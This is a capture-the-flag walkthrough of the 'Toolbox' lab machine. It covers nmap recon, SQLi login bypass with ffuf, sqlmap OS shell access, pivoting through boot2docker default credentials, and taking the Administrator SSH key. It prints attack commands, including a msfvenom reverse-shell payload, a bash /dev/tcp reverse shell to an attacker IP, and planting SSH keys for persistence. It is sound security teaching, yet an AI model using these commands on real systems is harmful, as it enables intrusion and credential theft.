Toolbox

INTRODUCTION

Continuing on with my “Let’s brush up on Windows!” series, Toolbox is the fourth box. For the previous one, see my walkthrough on Buff. Unfortunately, while this box was advertised as Windows, it’s actually 100% Linux. Yes, a little disappointing, but it’s still good practice. It might not seem like it right away, but if you have some experience with sqlmap, then Toolbox will be a breeze.

Recon was very short; you are only meant to find one thing, and it appears right away. To gain a foothold, just apply a little ffuf-fu and sqlmap will bridge the gap. The foothold brings you straight to the user flag. From there, take a moment to fingerprint the system in front of you: a little bit of research about the system goes a long way. If you want to finish up quickly, you don’t even need to pwn the system to gain the root flag.

title picture

RECON

nmap scans

Port scan

For this box, I’m running my typical enumeration strategy. I set up a directory for the box, with a nmap subdirectory. Then set $RADDR to the target machine’s IP, and scanned it with a simple but broad port scan:

sudo nmap -p- -O --min-rate 1000 -oN nmap/port-scan-tcp.txt $RADDR
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
443/tcp   open  https
445/tcp   open  microsoft-ds
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown

Script scan

To investigate a little further, I ran a script scan over the TCP ports I just found:

TCPPORTS=`grep "^[0-9]\+/tcp" nmap/port-scan-tcp.txt | sed 's/^\([0-9]\+\)\/tcp.*/\1/g' | tr '\n' ',' | sed 's/,$//g'`
sudo nmap -sV -sC -n -Pn -p$TCPPORTS -oN nmap/script-scan-tcp.txt $RADDR
PORT      STATE SERVICE       VERSION
21/tcp    open  ftp           FileZilla ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-r-xr-xr-x 1 ftp ftp      242520560 Feb 18  2020 docker-toolbox.exe
| ftp-syst: 
|_  SYST: UNIX emulated by FileZilla
22/tcp    open  ssh           OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey: 
|   2048 5b:1a:a1:81:99:ea:f7:96:02:19:2e:6e:97:04:5a:3f (RSA)
|   256 a2:4b:5a:c7:0f:f3:99:a1:3a:ca:7d:54:28:76:b2:dd (ECDSA)
|_  256 ea:08:96:60:23:e2:f4:4f:8d:05:b3:18:41:35:23:39 (ED25519)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
443/tcp   open  ssl/http      Apache httpd 2.4.38 ((Debian))
|_http-title: MegaLogistics
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.38 (Debian)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=admin.megalogistic.com/organizationName=MegaLogistic Ltd/stateOrProvinceName=Some-State/countryName=GR
| Not valid before: 2020-02-18T17:45:56
|_Not valid after:  2021-02-17T17:45:56
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
49668/tcp open  msrpc         Microsoft Windows RPC
49669/tcp open  msrpc         Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 28s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2024-02-14T09:39:58
|_  start_date: N/A

Vuln scan

Now that we know what services might be running, I’ll do a vulnerability scan:

sudo nmap -n -Pn -p$TCPPORTS -oN nmap/vuln-scan-tcp.txt --script 'safe and vuln' $RADDR

(No significant results)

UDP scan

To be thorough, I also did a scan over the common UDP ports:

sudo nmap -sUV -T4 -F --version-intensity 0 -oN nmap/port-scan-udp.txt $RADDR

☝️ UDP scans take quite a bit longer, so I limit it to only common ports

PORT     STATE         SERVICE       VERSION
123/udp  open|filtered ntp
137/udp  open|filtered netbios-ns
138/udp  open|filtered tcpwrapped
427/udp  open|filtered svrloc
500/udp  open|filtered isakmp
520/udp  open|filtered route
623/udp  open|filtered asf-rmcp
626/udp  open|filtered serialnumberd
1813/udp open|filtered tcpwrapped
2223/udp open|filtered tcpwrapped
4444/udp open|filtered tcpwrapped
4500/udp open|filtered tcpwrapped
5353/udp open|filtered zeroconf

Note that any open|filtered ports are either open or (much more likely) filtered.

FTP strategy

In my experience, an FTP server with anonymous login is often the best thing to check first on a box. The nmap script scan showed that anonymous login is enabled, so it’s possible to log in with the credentials anonymous : [blank]:

ftp

As noted by nmap, there is just a single file inside: docker-toolbox.exe. It’s huge, so I’ll start downloading it now (FTP command get) and proceed with enumeration while that’s going.

☝️ There are many ways to connect to an FTP server. You can use FTP from the terminal, or a full GUI like FileZilla.

For this box, I actually just used my file explorer Thunar to anonymously connect and transfer the file: to do this, just enter the address ftp://10.10.10.236 in the path bar, and Thunar will prompt you for the rest.

SMB

Something even better than an anonymous FTP login is anonymous SMB. SMB has a lot more features than FTP, and can even be utilized for RCE if it’s very poorly-configured. Unfortunately, this box has no anonymous login for smb, and the guest account is disabled:

smb

Webserver strategy

Noting the certificate details from the nmap scan, I added megalogistic.com and admin.megalogistic.com to /etc/hosts. I don’t love the fact that I’m attacking a target with a .com TLD 👀 Regardless, I did banner grabbing on that domain:

DOMAIN=megalogistic.com
echo "$RADDR $DOMAIN" | sudo tee -a /etc/hosts
echo "$RADDR admin.$DOMAIN" | sudo tee -a /etc/hosts

☝️ I use tee instead of the append operator >> so that I don’t accidentally blow away my /etc/hosts file with a typo of > when I meant to write >>.

whatweb https://$RADDR && curl -kIL https://$RADDR

whatweb

Next I performed vhost and subdomain enumeration:

WLIST="/usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt"
ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.htb" -c -t 60 -o fuzzing/vhost-root.md -of md -timeout 4 -ic -ac -v

No results from that. Now I’ll check for subdomains of megalogistic.com (using a vhost scan):

ffuf -w $WLIST -u http://$RADDR/ -H "Host: FUZZ.$DOMAIN" -c -t 60 -o fuzzing/vhost-$DOMAIN.md -of md -timeout 4 -ic -ac -v

subdomain enum

Unsurprisingly, there is an admin page (see nmap script scan). There were also a few results of size 0 that I didn’t show in the image. I’ll move on to directory enumeration on https://megalogistic.com:

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
gobuster dir -w $WLIST -u https://$DOMAIN -k \
--random-agent -t 60 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-$DOMAIN.txt" \
--no-error

No results from that, except for the index page. What about the subdomain https://admin.megalogistic.com?

gobuster dir -w $WLIST -u https://admin.$DOMAIN -k \
--random-agent -t 60 --timeout 5s -f -e \
--status-codes-blacklist 400,401,402,403,404,405 \
--output "fuzzing/directory-gobuster-admin.$DOMAIN.txt" \
--no-error

No results from that either.

Exploring the Website

The landing page at https://megalogistic.com is mostly uninteresting. I’ll go straight to the admin page, where I’m presented with a login.

admin page login

Brute force the login

Just to eliminate the obvious, I’ll check for simple credentials by running Hydra against this login page. First, I’ll intercept the login request with Burp so that I can tailor my Hydra usage to match it:

burp login

I’ll also Forward that request, so that I can see what a failure looks like (It shows “Login failed” at the bottom of the form). Also, note that I’m using the Hydra -S flag to enable SSL.

USERS=/usr/share/seclists/Usernames/top-usernames-shortlist.txt
PASSWORDS=/usr/share/seclists/Passwords/Common-Credentials/top-20-common-SSH-passwords.txt
hydra -L $USERS -P $PASSWORDS -S admin.megalogistic.com https-post-form "/login:username=^USER^&password=^PASS^:H=Cookie: PHPSESSID=04f330734b942b0d6e27d338dc63c319:F=Login failed"

Hydra can be very frustrating to use, due to its lack of documentation and arcane syntax. I’d like to highlight the following from the above command:

  • Use method https-post-form, not http-post-form, along with the -S option
  • Provide the cookie as a portion of the header (:H=Cookie: key1=val1; key2=val2)
  • The filter string (:F=text you see if authentication failed) must be after the cookie

Hydra did not find any valid credentials with this method.

Authentication bypass

Since this is an Apache website using PHP, there’s a good chance that the backend database uses SQL. If it’s poorly-written, we might have a simple authentication bypass using SQL injection.

WLIST=/usr/share/seclists/Fuzzing/Databases/sqli.auth.bypass.txt 
ffuf -w $WLIST:FUZZ -u https://admin.megalogistic.com/ -k \
-X POST -t 40 -c \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=FUZZ&password=admin" \
-fr 'Login failed'

🤓 Some people forget that ffuf is great for a lot more than vhost and directory enumeration. I’ve used it successfully for all kinds of other things, such as API fuzzing, directory traversal, LFI enumeration, and SQL injection.

This scan with ffuf was hugely successful:

authentication bypass sqli

You can check by running it with the -v flag, but all of these HTTP 302 results redirect to /dashboard.php 😸

Dashboard

The dashboard opens to a couple of “ToDo” notes that provide useful hints(hopefully 🤞):

dashboard

Ouch, the CSS on this dashboard was really scrapped together. Although, checking out the developer’s website, it seems that this project was very early-days for them learning frontend dev. Everybody has to start somehwere! Regardless, if you click on the Orders tab (the “people” icon ) you can fix the lack of scrolling on the table by selecting this element and setting overflow: scroll on it from your browser’s dev tools, allowing you to see the rest of the orders in the table.

There was no mention of “Tony” in the other two tabs. However, the printer driver thing might be important: I’ll go back and check those two UPnP http listeners that were discovered in the script scan.

Looking for printer

🚫 Wrong way. Skip this section if you are short on time.

I’ll run the UPnP nmap script against the two ports identified in the script scan:

nmap --script "upnp-info" -p 5985,47001 $RADDR

The result was not very helpful:

PORT      STATE SERVICE
5985/tcp  open  wsman
47001/tcp open  winrm

These two ports are listening for HTTP. Perhaps I’ll try enumerating them?

WLIST="/usr/share/seclists/Discovery/Web-Content/raft-small-words-lowercase.txt"
ffuf -w $WLIST:FUZZ -u http://$RADDR:5985/FUZZ -t 80 -c -e php,asp,js,html -timeout 4 -v
ffuf -w $WLIST:FUZZ -u http://$RADDR:47001/FUZZ -t 80 -c -e php,asp,js,html -timeout 4 -v

FOOTHOLD

SQLi

Since the authentication bypass was successful, there are clearly some security holes in the way that the website is handling SQL. Why not try a more comprehensive SQLi - either to enumerate the database or to gain RCE? First, I’ll try for RCE

sqlmap -u "https://admin.megalogistic.com" --cookie="PHPSESSID=04f330734b942b0d6e27d338dc63c319" --os-shell --force-ssl

Note that the --force-ssl option was provided. When prompted, default options were chosen at every step. In the future I’ll use the --batch option with sqlmap.)

🎉 The SQLi was successful using four different methods:

sqli rce successful

Excellent! I have a shell. At this point, I’ll try to form a reverse shell.

🚫 This part was a mistake. Skip both of the following numbered sections if you’re short on time.

  1. Generate a reverse shell payload

    msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.10.14.9 LPORT=4446 X > revshell.exe
    
  2. Start a webserver from my attacker box, serving the payload exe

    sudo ufw allow from $RADDR to any port 4444,8000 proto tcp
    python3 -m http.server 8000
    
  3. Using the shell I just got from the SQLi, try contacting my python webserver (just to see if it can connect):

    wget http://10.10.14.9:8000 # No request received.
    curl http://10.10.14.9:8000 # Yep! python http.server shows a request
    
  4. Use successful method to download the payload

    curl -o revshell.exe http://10.10.14.9:8000/revshell.exe
    

It’s odd that I’m not getting any output from these commands. Only the curl command showed any output. Things like dir and where are not working at all. Why would that be?

🤦‍♂️ Oh wow. I feel a little silly - this whole time my shell has been in linux!. I got output from curl because the syntax is identical between Windows cmd and Linux sh.

Let’s try that again, but assuming a Linux target:

  1. Start up a reverse shell listener on the attacker box:

    # Open the firewall
    sudo ufw allow from $RADDR to any port 4444 proto tcp
    bash
    rlwrap nc -lvnp 4444
    
  2. Open the os-shell using sqlmap:

    sqlmap -u "https://admin.megalogistic.com" --os-shell --batch --forms --force-ssl
    
  3. Using the shell from sqlmap, connect back to the listener on my attacker box:

    bash -c "bash -i >& /dev/tcp/10.10.14.9/4444 0>&1"
    

USER FLAG

Postgres in container

The os-shell from sqlmap or a reverse shell spawned from it are functionally the same. Either drops you into the directory /var/lib/postgresql/11/main as the user postgres. We’re clearly in a docker container - uname -a shows:

Linux bc56e3cc55e9 4.14.154-boot2docker #1 SMP Thu Nov 14 19:19:08 UTC 2019 x86_64 GNU/Linux

What are the important users?

id && cat /etc/passwd | grep -v nologin | grep -v /bin/false
root:x:0:0:root:/root:/bin/bash
postgres:x:102:104:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

Oh wow, looks like postgres has a home directory - I’ll check if they have a flag: cd ~; ls -laH.

🍰 Yep! The flag is right there. Just cat it for some points.

cat user.txt

ROOT FLAG

Getting into postgres

As the user postgres I checked for listening processes:

netstat -tulpn

There is a ``PostgreSQLdatabase listening locally on port 5432. Normally, I'd simply open a proxy for the local database, so that I can access it remotely from my attacker box. However, since I'm working out of thesqlmapshell, that strategy presents a few complication. It's easier and more direct to simply read the database usingsqlmap` itself.

First, let’s check what databases exist:

sqlmap -u "https://admin.megalogistic.com" --batch --forms --dbs 
[*] information_schema
[*] pg_catalog
[*] public

information_schema and pg_catalog are standard for a PostgreSQL database. Let’s read public and see what’s inside.

sqlmap -u "https://admin.megalogistic.com" --batch --forms -D public --tables
Database: public
[1 table]
+-------+
| users |
+-------+

Super! Finally, let’s check what’s inside by dumping the table:

sqlmap -u "https://admin.megalogistic.com" --batch --forms -D public -T users --dump
Database: public
Table: users
[1 entry]
+----------------------------------+----------+
| password                         | username |
+----------------------------------+----------+
| 4a100a85cb5ca3616dcf137918550815 | admin    |
+----------------------------------+----------+

Nice, that looks like an unsalted password hash. I tossed it into crackstation.net to see if I could get away with not even cracking it. No luck there. I’ll identify the hash type then start cracking:

name that hash

🤔 Hmm… I ran the hash through both john and hashcat, but didn’t get any result. I’ll come back to this hash later - for now try to find another way forward.

docker-toolbox.exe

Well, now that I know I’m inside a docker container, it suddenly feels a lot more relevant to check out that docker-toolbox.exe that I downloaded from the FTP server

A little bit of research showed that Docker Toolbox was the predecessor to Docker Desktop for Windows, but is now long-obsolete. Reading through the docker archive / toolbox repo on Github, I’ve discovered that every release of docker toolbox came bundled with an .iso image of Boot2Docker.iso and virtualbox.

👀 Does Docker on Windows not use overlayFS?! It’s hard to see the advantage over a traditional VM, if it simply uses a .iso format.

🔔 “boot2docker” might ring a bell - it’s the flavour of linux that is used for this container: 4.14.154-boot2docker. A little more searching led to the Github repo for boot2docker. Halfway down the README, the default credentials are listed:

default credentials

Ok, so there should be SSH credentials. I’ll see if the default docker user is on the host machine. First, I’ll get the address of the host:

# Check interfaces within the container
ifconfig
# Check routes
arp -va
? (172.17.0.1) at 02:42:91:33:c3:db [ether] on eth0
Entries: 1      Skipped: 0      Found: 1

Great, I’ll try to connect over ssh to that, using the credentials docker : tcuser:

ssh attempt 1

Huh? Oh, I see: I need to upgrade my reverse shell into a terminal before I can even attempt to use SSH 💡. Please see my guide on upgrading the shell for more detail. For this, I used a regular bash upgrade:

SHELL=/bin/bash script -q /dev/null

upgraded shell

The SSH attempt worked perfectly after that. If I’m understanding correctly, I’ve now pivoted from the postgres user (in the docker container) into the docker user (in the VM that is running the container).

Persistence: docker

🚫 Wrong way. Skip this section if you’re short on time.

My reverse shell keeps dying after approximately a minute, so I’m very eager to establish a more persistent way to access the target. Redoing the whole sqlmap > reverse shell > shell upgrade > ssh chain is getting quite tedious. Thankfully, when I initially gained access I quickly checked the home directory of docker:

enumeration docker 1

I’ll prepare an SSH key and plant it into both authorized_keys files. First, on my attacker box, I’ll generate a key and base-64 encode it:

# used passphrase "3agle":
ssh-keygen -t rsa -b 4096
chmod 700 ./id_rsa
# copy output to clipboard
base64 -w 0 id_rsa.pub > id_rsa.pub64 && cat id_rsa.pub64

Then, on the target box, make an SSH directory and plant the key:

cd ~/.ssh
echo "ssh-rsa AAAAB3...obw== kali@kali" >> authorized_keys
echo "ssh-rsa AAAAB3...obw== kali@kali" >> authorized_keys2

Now back on the attacker box, go ahead and connect using SSH:

ssh -i ./id_rsa docker@$RADDR

Hmm… It still is not working. Is my reverse shell still in the docker container?

ssh attempt 2

Whatever. I’ll proceed and just try to move fast (before the reverse shell dies again) 🤷‍♂️

Enumeration: docker

It looks like docker can sudo anything without a password; it seems that (at least inside this container) I have full access.

sudo as docker

The home directory

🚫 Wrong way. Skip this section if you’re short on time.

Taking a look inside ~/.docker, there are three .pem files. One of them, key.pem looks like it is an RSA key, so I might be able to log in using that key. I copied and pasted the contents to a local version of key.pem on my attacker box. I’ll start up PuTTY and try it out:

  • Specify the IP address under Session
  • Under Connection > SSH > Auth > Credentials, browse to and select key.pem
  • Under Session again, give the session a name (“Toolbox” is fine), and click Save
  • Finally, click Open

putty fail

Nope! I guess those keys and certs weren’t actually useful.

root directory

Checking out the root directory / shows something very peculiar. 🤔 This “c” directory is not standard Linux:

root dir

Oh nice! Inside is the directory Users. It’s part of a Windows filesystem 👏 And the root flag is sitting there in plain view:

root flag

EXTRA CREDIT: FULL PWN

Administrator SSH key

Under /c/Users/Administrator there is (like docker) a .ssh directory containing a private key:

root ssh key

I’ll copy this over to my attacker box and see if I can log in with it.

# paste the above key into loot/id_rsa
chmod 700 loot/id_rsa
ssh -i loot/id_rsa Administrator@$RADDR

ssh attempt 3

🍒 Alright! a nice SSH connection for Administrator. You can type the root flag now if you haven’t already obtained it.

LESSONS LEARNED

two crossed swords

Attacker

  • When authentication bypass using SQLi is possible, RCE is likely also possible . The SQLi authentication bypass is evidence of faulty handling of user inputs that communicate with a database. As soon as the auth bypass is discovered, point sqlmap at it and see what it can do.
  • Hashes aren’t always useful. Thankfully, the hash that I recovered on this box was likely either MD5 or NTLM, both of which are very very fast to compute. Hence, I was able to run it through even my largest password wordlists in a matter of seconds. After doing that, I was quite confident that I wasn’t “meant” to crack that hash.
  • Keys aren’t always useful. Again, thankfully, it was easy to eliminate the possibility of them being useful - all I had to do was attempt a few SSH logins.
  • Check for default credentials. This is especially useful for software that is a little old (say, pre-2018?), or software that the developer thought would never be exposed to the public-facing internet. There are plenty of wordlists in Kali to help with this, but the best resource is still just a simple web search.
two crossed swords

Defender

  • Defense in depth is an important paradigm. This box failed to change default credentials on an important service, and this led to us escalating our way out of the docker container. While it may have seemed to the developer that the host VM would never be exposed to public-facing internet, the truth is that their usage of default credentials made the escalation completely trivial.

  • Keep filesystems separate. Having a shared volume between a host system and a VM can be very convenient, but it should be removed whenever the system goes in to Production.


Thanks for reading

🤝🤝🤝🤝
@4wayhandshake